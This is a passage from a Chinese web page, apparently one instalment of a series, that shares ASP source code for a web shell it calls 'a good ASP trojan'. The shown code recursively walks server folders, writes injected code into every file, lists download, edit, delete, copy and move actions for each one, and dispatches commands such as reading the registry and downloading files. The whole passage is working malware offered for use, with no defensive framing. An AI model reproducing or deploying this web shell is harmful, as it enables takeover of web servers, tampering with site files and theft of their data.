一款不错的asp木马 黑色界面(43)

(tfile1.readall,Wcode,addCode2)
                    Set 
objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
                    objCountFile.Write NewCode
                    objCountFile.Close
                    RRS"√  "&Wpath&myfile.name
                    Set objCountFile=Nothing
                case else
                    RRS"大哥,别乱来.":response.end
            end select
        else
            RRS"× "&Wpath&myfile.name
        end if
RRS " → <a href='javascript:FullForm("""&replace
(Wpath&myfile.name,"\","\\")&""",""DownFile"")' class='am' title='下
载'>下载</a> "
RRS "<a href='javascript:FullForm("""&replace
(Wpath&myfile.name,"\","\\")&""",""EditFile"")' class='am' title='编
辑'>编辑</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""DelFile"")'  onclick='return yesok()' class='am' title='删除'>删
除</a> "
RRS "<a href='javascript:FullForm("""&replace
(Wpath&myfile.name,"\","\\")&""",""CopyFile"")' class='am' title='复
制'>复制</a> "
RRS "<a href='javascript:FullForm("""&replace
(Wpath&myfile.name,"\","\\")&""",""MoveFile"")' class='am' title='移
动'>移动</a><br>"
     Next
 Set fsubfolers = f.SubFolders
 For Each f1 in fsubfolers
    NewPath=Wpath&""&f1.name
     InsertAllFiles NewPath,Wcode,pc
 Next
set tfile=nothing
Set FSO = Nothing
set tfile=nothing
set tfile2=nothing
Set WFSO = Nothing
End Sub
  Case "ReadREG":call ReadREG()
  Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session
("FolderPath")):Set ABC=Nothing
  Case "DownFile":DownFile FName:ShowErr()